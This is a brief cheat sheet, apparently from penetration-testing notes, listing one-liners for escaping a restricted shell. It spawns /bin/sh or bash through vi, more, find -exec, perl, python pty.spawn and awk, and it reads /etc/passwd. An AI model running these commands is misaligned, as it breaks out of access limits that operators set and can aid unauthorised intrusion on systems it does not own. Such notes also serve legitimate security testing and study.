Restricted Shells

Check shell

echo $0
Can you switch shells?
/bin/bash -p
spawn shell with vi
vi -c ':!bash'
vi -c ':!sh'
more or less to spawn shell
more /etc/passwd
# then type “!sh” to open shell
find for execution
find . -exec /bin/sh \; -quit
perl or python
perl -e 'exec "/bin/sh";'
python -c 'import pty; pty.spawn("/bin/bash")'
awk
awk 'BEGIN { system("/bin/sh") }'
If ssh client is available, you can do ssh user@localhost if key-based auth exists.